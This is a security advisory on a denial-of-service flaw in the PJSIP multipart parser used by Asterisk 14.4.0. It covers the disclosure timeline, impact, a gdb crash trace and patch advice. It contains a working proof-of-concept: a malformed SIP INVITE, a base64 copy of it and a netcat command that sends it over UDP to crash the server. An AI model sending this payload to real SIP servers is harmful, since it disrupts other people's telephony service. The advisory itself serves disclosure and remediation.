Asterisk version 14.4.0 running chan_pjsip with PJSIP version 2.6 suffers from a denial of service vulnerability.
f49b5e4d52c26c6e0a76dcc3d9c9f48c# Out of bound memory access in PJSIP multipart parser crashes Asterisk
- Authors:
- Alfred Farrugia <[email protected]>
- Sandro Gauci <[email protected]>
- Vulnerable version: Asterisk 14.4.0 running `chan_pjsip`, PJSIP 2.6
- References: AST-2017-003
- Enable Security Advisory:
<https://github.com/EnableSecurity/advisories/tree/master/ES2017-02-asterisk-pjsip-multi-part-crash>
- Vendor Advisory:
<http://downloads.asterisk.org/pub/security/AST-2017-003.html>
- Timeline:
- Report date: 2017-04-13
- Digium confirmed issue: 2017-04-13
- Digium patch and advisory: 2017-05-19
- PJSIP added patch by Digium: 2017-05-21
- Enable Security advisory: 2017-05-23
## Description
A specially crafted SIP message with a malformed multipart body was
found to cause a segmentation fault.
## Impact
Abuse of this vulnerability leads to denial of service in Asterisk when
`chan_pjsip` is in use. This vulnerability is likely to affect other
code that makes use of PJSIP.
## How to reproduce the issue
We started Asterisk by running `$PREFIX/asterisk/sbin/asterisk -fc`.
Then we made use of the following SIP message which was sent to Asterisk
over UDP to reproduce the issue:
INVITE sip:[email protected] SIP/2.0
Via: SIP/2.0/UDP sip.example.com;branch=7c337f30d7ce.1
From: "Alice, A," <sip:[email protected]>
To: Bob <sip:[email protected]>
Call-ID: [email protected]
CSeq: 1 INVITE
Contact: Alice <sip:[email protected]>
content-type: multipart/mixed;`boundary=++
--
--++=AAA
xxx
--+
Note that the above SIP message only contains new lines (i.e. `\n`) and
no carriage returns (i.e. `\r`). We sent this message by making use of
netcat as follows:
echo
'SU5WSVRFIHNpcDoyNTY1NTUxMTAwQG9uZS5leGFtcGxlLmNvbSBTSVAvMi4wClZpYTogU0lQLzIuMC9VRFAgc2lwLmV4YW1wbGUuY29tO2JyYW5jaD03YzMzN2YzMGQ3Y2UuMQpGcm9tOiAiQWxpY2UsIEEsIiA8c2lwOmJvYkBleGFtcGxlLmNvbT4KVG86IEJvYiA8c2lwOmJvYkBleGFtcGxlLmNvbT4KQ2FsbC1JRDogNjAyMjE0MTk5QG1vdXNlLndvbmRlcmxhbmQuY29tCkNTZXE6IDEgSU5WSVRFCkNvbnRhY3Q6IEFsaWNlIDxzaXA6YWxpY2VAbW91c2Uud29uZGVybGFuZC5jb20+CmNvbnRlbnQtdHlwZTogbXVsdGlwYXJ0L21peGVkO2Bib3VuZGFyeT0rKwoKLS0KLS0rKz1BQUEKeHh4Ci0tKw=='
| base64 -d - | nc -u localhost 5060
The following is a log from running Asterisk in gdb:
gdb --args asterisk -c
....
Asterisk Ready.
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffd6b85700 (LWP 2625)]
0x00007ffff783fd4c in parse_multipart_part (pool=0x1dff930,
start=0x7ffff0004359 "--++=Discussion of Mbone Engineering
Issues\[email protected]\nc=IN IP4 224.2.0.1/127\nt=0
0\nm=audio 3456 RTP/AVP 0\na=rtpmapt...\n--+",
len=18446744073709551615, pct=0x1dffd60) at
../src/pjsip/sip_multipart.c:435
435 while (p!=end && *p!='\n') ++p;
The issue appears to be due to a loop that keeps running until the wrong
memory location is read. This leads to a memory access violation. This
issue is to be found within `parse_multipart_part` at
`pjsip/sip_multipart.c:435`.
This issue was found using [AFL](http://lcamtuf.coredump.cx/afl/), while
fuzzing PJSIP.
## Solutions and recommendations
Apply fix issued by Asterisk, upgrade to Asterisk 13.15.1, 14.4.1 or
13.13-cert4.
If making use of PJSIP, apply the patch in revision 5594. See
<https://trac.pjsip.org/repos/ticket/2017>.
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